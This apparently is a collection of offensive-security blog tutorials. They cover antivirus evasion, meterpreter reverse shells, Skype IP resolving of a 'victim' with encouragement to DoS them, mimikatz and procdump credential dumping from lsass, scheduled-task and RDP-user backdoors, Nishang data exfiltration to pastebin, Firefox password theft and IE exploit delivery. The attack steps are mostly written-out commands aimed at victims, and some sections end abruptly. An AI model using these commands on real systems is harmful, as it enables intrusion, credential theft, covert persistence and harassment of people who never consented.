List of Differnet AV evasion Frameworks.

Today we are gonna talk about different AV evasion frameworks for metasploit payload & how to use them? It`s very imporatant when you know which AV you have to bypass, because we don`t have to worry about FUD. Some payload can bypass specific AV ; while other AV can not be bypassed using that payload.

(1)Veil:-

Veil is python based tool which create FUD payload , One of the best framework for AV evasion. On the 15th of every month, at least one new payload module will be released.

Click here for how to install & use Veil?

(2)AV0id :-

Anti-Virus Bypass Metasploit Payload Generator Script.

wget https://github.com/nccgroup/metasploitavevasion/archive/master.zip
unzip master.zip
cd metasploitavevasion-master/
./avoid.sh

Get shell Using Shellcode in Macro.

We can execute shellcode directly in macro. It`s very old method, but still it`s useful ; because AV don`t trigger it.First we will generate VB code of our payload.

msfconsole
use payload/windows/meterpreter/reverse_tcp
set LHOST 192.168.56.102
set LPORT 443
generate -t vba

Fun with skype resolver

Skype resolvers are used by hackers to get Skype users IP addresses, when a hacker get a users IP address they usually hit them off or DDoS them.

If your victim is in your friend-list & you are using linux ; then it`s very simple to get his I.P.

netstat -tupan | grep skype > n1

Now chat with your victim; as soon as you got reply use following command.

netstat -tupan | grep skype > n2

diff n1 n2

Now we have I.P. of victim.

In most situation our victim is not in our friend-list. So for that situation, we will going to use online skype resolver.You can also use bash script for getting ip of victim which i wrote.

root@bt:~# git clone https://github.com/niravkdesai/skypersolver.sh

root@bt:~# cd skypersolver.sh/

root@bt:~/skypersolver.sh# sh skypersolver.sh


Use one of following  links to get I.P. of your victim using his skype user-name.

(1)http://www.skyperesolver.com/

(2)http://skresolver.com/

(3)http://www.speedresolve.com/resolve.php

(4)http://skypegrab.com/skype-beta

(5)http://iskyperesolve.com/

Okay we got I.P. Now you can directly DOS or DDOS( ddos and dos attacks are illegal) them . But we are going to use different technique to shutdown your victim pc using RDP.

First scan ip to find open ports of victim.

root@bt:~# nmap 192.168.56.101

Starting Nmap 6.40 ( http://nmap.org ) at 2013-10-11 18:41 IST

Get shell using Missing Autoruns.

In previous post we saw that how can we execute schedule task after compromised PC.Today we will see another method to maintaining access of compromised pc.

(A)When we install program in windows environment , some of them are asking to run at startup times. So these program write its value to windows registry & whenever pc is restarted , program will run in background.When uninstallation of program is not completed ; then it fails to remove its value from registry. So it`s called Missing Autoruns.

After compromised pc ; we have to find missing autoruns in victim machine.For this purpose we will use sysinternal `s autorunsc.exe.

(1)Get meterpreter shell.

(2)Upload sysinternal`s autoruns.exe & autorun.exe to victim machine.

(3)Now from uploaded directory execute following command to get missing autoruns of machine

autorunsc.exe -a | findstr /n /R "File\ not\ found"

(4)Now we have list of file which is missing ; these files are run at startup time.

Schedule Task in windows after Exploitation.

Recently in Derbycon mubix & carnal0wnage present "windows attacks at is the new black ". It`s really great presentation . You can find it here. So i will put  their method here.

After getting meterpreter shell ; we have to maintain access of shell. You can use meterpreter backdoor & persistent backdoor . But most of times it will caught by AV. You can create FUD payload using Veil.We can also create schedule task for our backdoor.

First create one batch file , put following code in it

@echo off
"C:\Documents and Settings\nirav\Desktop\backdoor.exe"

Then upload your backdoor & created batch file.Please adjust path of batch file according to your upload path of backdoor.

Get clear text password:-

Following are different methods to get clear text password of windows.

(1)using mimikatz or wce get clear text password of victim.

(2) You can also use mimikatz password dump method .

(3)You can also use mimikatz meterpreter plugin which i used in this tutorial.

   meterpreter > load mimikatz
   meterpreter > help mimikatz
   meterpreter > kerberos
   meterpreter > mimikatz_command -h
   meterpreter > mimikatz_command -f sekurlsa::logonPasswords -a "full"

(4)You can use wce & mimikatz in memory without uploading binary.

(a)WCE in memory:-

cd %systemroot%
cd system32
pwd
execute -H -m -d calc.exe -f /root/wce.exe -a "-o foo.txt"
cat foo.txt

(b)Mimikatz in memory:-

cd %systemroot%
cd system32
execute -H -i -c -m -d calc.exe -f /root/mimi/Win32/mimikatz.exe -a '"sekurlsa::logonPasswords full" exit'

So till now i upload one batch file ; backdoor & get clear text password.

Now we are going to schedule our backdoor.We are going to use schtasks command. For detail option about schtasks visit here . In this tutorial i schedule my backdoor daily at 22:16. So everyday at 22:16 my backdoor will be executed & i will get shell.

C:\Documents and Settings\nirav> SchTasks /Create /SC DAILY /TN Evil2 /TR "\"C:\Documents and Settings\nirav\Desktop\sch.bat"" /ST 22:16:00

It will ask to enter password which we got before.

You can also use different option like ONIDLE, ONLOGON, and ONSTART & execute different binary according to your need.

Exploit For All IE version(CVE-2013-3893).

Recently the public has shown a lot of interest in the new Internet Explorer vulnerability (CVE-2013-3893) that has been exploited in the wild, which was initially discovered in Japan. At the time of this writing there is still no patch available, but there is still at least a temporary fix-it that you can apply from Microsoft, which can be downloaded here.

This module exploits a use-after-free vulnerability that currents targets Internet Explorer 9 on Windows 7, but the flaw should exist in versions 6/7/8/9/10/11. It was initially found in the wild in Japan, but other regions such as English, Chinese, Korean, etc, were targeted as well.

For more technical Detail view metasploit blog here . 

The Metasploit module currently can be only tested on Internet Explorer 9 on Windows 7 SP1 with either Office 2007 or Office 2010 installed,

Hack local network PC using windows theam file.

This module exploits a vulnerability mainly affecting Microsoft
Windows XP and Windows 2003. The vulnerability exists in the
handling of the Screen Saver path, in the [boot] section. An
arbitrary path can be used as screen saver, including a remote SMB
resource, which allows for remote code execution when a malicious
.theme file is opened, and the "Screen Saver" tab is viewed. The
code execution is also triggered if the victim installs the
malicious theme and stays away from the computer, when Windows tries
to display the screensaver.

Extract & decrypt passwords from Firefox & Thunderbird.

Today we are going to extract password from Fireox & Thunderbird which are saved in browser and then try to decrypt that passwords from remote PC. Before some times ; i posted here that how to extract information from saved sqlite database of skype, firefox, chrome using python script.

Most of the morden browser save information in sqlite format. When user enter login information ; firefox asked user to remember password.If user click on remember password then this passwords are saved into firefox database in signons.sqlite. But passwords are encrypted. so just by downloading signons.sqlite we can not extract passwords from it. Signons.sqlite is useless without the key3.db file, which also resides in the profile folder of your application. Passwords in the signons.sqlite file is encrypted with TripleDES in CBC mode. The key used for the encryption is saved in key3.db and encrypted as well.

Firefox Database path in windows:-

[Windows XP]
C:\Documents and Settings\<user_name>\Application Data\Mozilla\Firefox\<random_name>.default

[Windows Vista & Windows 7]
C:\Users\<user_name>\AppData\Roaming\Mozilla\Firefox\<random_name>.default

Firefox Database path in linux
/root/.Mozilla/Firefox/Profile/<random_name>.default

First we have to get meterpreter shell using any known vulnerability or using any metasploit method.

Then we have to download three files from remote PC which are key3.db,signons.sqlite;cert8.db.You can use metasploit post module (use post/multi/gather/firefox_creds)for downloading this file or you can also download manually by browsing directory.

Exploit for IE 9 on Windows 7 SP1

This is a memory corruption bug found in Microsoft Internet Explorer. On IE 9, it seems to only affect certain releases of mshtml.dll. For example: This module can be used against version  9.0.8112.16446

Now send that link to victim; as soon as he open link; you will get meterpreter shell.

Exploit Oracle Endeca Server with metasploit.

This module exploits a command injection vulnerability on the Oracle  Endeca Server 7.4.0. The vulnerability exists on the createDataStore  method from the controlSoapBinding web service. The vulnerable method only exists on the 7.4.0 branch and isn't available on the 7.5.5.1 branch. On the other hand, the injection has been found to be Windows specific. This module has been tested successfully on Endeca Server 7.4.0.787 over Windows 2008 R2 (64 bits).

First run ./msfupdate or git pull to update metasploit.

Now when you open metasploit & found error like this
[-]     /opt/msf/modules/exploits/windows/http/oracle_endeca_exec.rb: NameError uninitialized constant Msf::Exploit::Powershell .

Open oracle_endeca_exec.rb file in any editor.
Add this line require 'msf/core/exploit/powershell' after require 'msf/core'.
So it look like
require 'msf/core'
require 'msf/core/exploit/powershell'
Save it & open metasploit again.

Exploit target:

Post exploitation & swaparoo backdoor.

Today we are going to create valid RDP user in victim pc using two method.

(1)As usual get meterpreter session of victim using metasploit.We need system privilege So use getsystem .(getsystem will work in xp. But if victim has windows 7 than you have to use bypassuac module;it will work if victim has admin provilage.But most of time detecetd by AV. So you have to encode it. )

Now we use meterpreter script which create RDP useraccount for logon.
run getgui -u username -p password.

Now Useraccount has been created.You can use rdesktop command to connect with victim using created credentials.

rdesktop victim i.p.

Post exploitation using Nishang.

Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security and post exploitation during Penetraion Tests. The scripts are written on the basis of requirement by the author during real Penetration Tests.

This framework is written by Nikhil Mittal who is also author of Kautilya framework.For more information you can visit his blog.

Today we will see some basic module from nishang framework for post exploitation.

This tutorial is about post exploitation so first get meterpreter shell using any metasploit method. If you are new than visit metasploit section of blog.

(1)Download nishang from here .

(2)Unzip it & put it in root directory.

meterpreter>shell
cd C:\\Users/victim
mkdir 123
exit

meterpreter>upload /root/nishang/ C:\\Users/victim/123

We upload all powershell script from our nishang folder to victim pc `s folder.

After upload we have to get shell.

meterpreter>shell
cd c://Windows\System32\WindowsPowerShell\v1.0


So now everything is set ; we execute our powershell script from our shell.

(1)First we use Information Gather module. It gather all informataion from victim pc & it has exifil option so gatherd information is directly uploaded to the pastebin;gmail.

So type following in our shell

powershell.exe -ExecutionPolicy Bypass -command C:\\Users/victim/123/Information_Gather.ps1 -exfil AIP_Of_Pastebin username password 1

Bypass AV using powershell method using batch file.

In penetration testing first step is how we can bypass AV & make our payload FUD. Previously we saw that we can bypass AV using Veil.At that time we used python module.In veil there are four types of payload.C,C#,powershell and python. Today we use powershell module.

If you don`t aware about powershell ; then you can google it.It`s windows based scripting language like bash in linux.Most of AV cannot detect it.We use SET powershell module to bypass AV; you can also use veil module.

cd  /pentest/exploits/set/
./setoolkit

type 1 which is social engineering attack
After that type 10.

Then give your i.p. & port to connect reverse shell.

Now in figure you can see that it has been generated & stored in to /root/.set/reports/powershell . And we also start metasploit listener.If victim paste our generated payload in cmd then we can get meterpreter shell. But i think it`s hard to tell someone to copy something & paste into cmd. So we will create batch file of our payload.

Create Batch file of our Payload.

(1)open x86_powershell_injection.txt file from  /root/.set/reports/powershell.
(2)Add path of powershell in first line. For example your code is starting from powershell word just put C:\\windows/system32/windowspowershell/v1.0/ before it.
(3)If you want to hide text during execution put @echo off at start of script.
(4)copy all code from x86_powershell_injection.txt
(5)Create new file & paste code
(6)Save this file as .bat extension and send to victim

As soon as he open file we can get shell.

Mimikatz alpha to get clear text password via bat file without AV alert.

Mimikatz is great tool to get cleat text password . it extract password from memory. If you want to use ; here is my previous tutorial . Also it include now in metasploit. But now most of Antivirus  detect it. So now we use another method to get clear text password using mimikatz alpha.

(1)It`s post exploitation method ;so first you have to get meterpreter session using metasploit. If you are new ; then visit metasploit section of blog. You also need admin access of box. So for that you can use bypassuac module of metasploit.

(2)First  download latest  mimikatz which contain alpha version of it from following link.
http://blog.gentilkiwi.com/downloads/mimikatz_trunk.7z

Then download process dump from following link
http://technet.microsoft.com/en-us/sysinternals/dd996900.aspx

(3)Now make one batch file name it to procdump.bat . paste following code into batch file.

@echo off
C:\windows\temp\procdump.exe -accepteula -ma lsass.exe C:\windows\temp\dump_file.dmp 2>&1

(4)Now from meterpreter session upload  procdump.bat & downloaded  procdump.exe file to C:\windows\temp folder.

(5)Now go to shell from meterpreter & if you are not in temp directory change it to the C:\windows\temp
Now here what we do is create scheduled task.So type following command in shell.

at \\192.168.1.3 20:55 C:\windows\temp\procdump.bat

Bypass AV using Veil In Backtrack.

Today this blog complete exactly one year.Before one year i started journey in security world & still now it`s going well.Ok get to the point.Most of time it happened that our payload is detected by AV ;we can use encoder to encode our payload ;So it can not be detected by AV. Today we show how we can bypass AV using Veil. Veil is python based tool which create FUD payload.

How to Download & use ?

wget https://github.com/ChrisTruncer/Veil/archive/master.zip
unzip master.zip
cd Veil-master/setup
chmod +x setup.sh
./setup.sh

It will download all required python package for generating payload.

Veil is officially supported in Kali linux ; But it`s python based tool so we can use it in any os which is able to execute python script. I used it in Backtrack 5.We have to make some change in generated veil.py file to get working in backtrack.
Open directory of veil & go to config and open veil.py.(In latest version of veil , open /etc/veil/settings.py) If you installed metasploit from binary package then Change  line of metasploit path to /opt/metasploit/apps/pro/msf3/ and save it.

Go to veil direcory & run
./Veil.py

   

Extract skype & firefox data after exploitation.

Today we will see how can we extract skype username ; contacts details ;conversation;file transfer & also firefox history;cookies;google search from victim computer.

First of all it`s post  exploitation, So i don`t go deep in How to hack remote P.C.. if you want to learn than click here & read metasploit section of blog.So you have to hack remote computer using metasploit.

 I create simple payload ; encoded it so antivirus can not detect it.

And then send link to victim , as soon as he download payload and execute it we get meterpreter shell.

How to solve metasploit problem in SET?

If you installed metasploit from git repository then you donot face any problem with SET. But If you have installed metasploit from its binary version then when you tried to running social engineering toolkit metasploit attack then might be you get error of some ruby bundle. Here is solution of that problem. I tested on SET Version: 5.2.1 & metasploit v4.6.2-1.

We are going to install Ruby 1.9.3 using RVM. Running all this command in msf3 folder

root@bt:~# cd /opt/metasploit/apps/pro/msf3/

root@bt:/opt/metasploit/apps/pro/msf3# bash -s stable < <(curl -s https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer) 

 

root@bt:/opt/metasploit/apps/pro/msf3# source /etc/profile.d/rvm.sh

 

root@bt:/opt/metasploit/apps/pro/msf3# rvm -v 

Once RVM is up and running we need to get a couple of libraries that will be required by the Ruby installation:

root@bt:/opt/metasploit/apps/pro/msf3# for package in zlib openssl libxslt libxml2; do rvm pkg install $package; done 

And finally the Ruby 1.9.3 runtime: 

root@bt:/opt/metasploit/apps/pro/msf3# rvm install 1.9.3

root@bt:/opt/metasploit/apps/pro/msf3# rvm 1.9.3 --default

root@bt:/opt/metasploit/apps/pro/msf3# ruby -v

root@bt:/opt/metasploit/apps/pro/msf3# gem install bundler

root@bt:/opt/metasploit/apps/pro/msf3# bundle install

Now open set from its path ; before running set type command like below

cd /pentest/exploits/set

source /etc/profile.d/rvm.sh

rvm 1.9.3 –default

./se-toolkit

Now you can use any metasploit attack from SET .
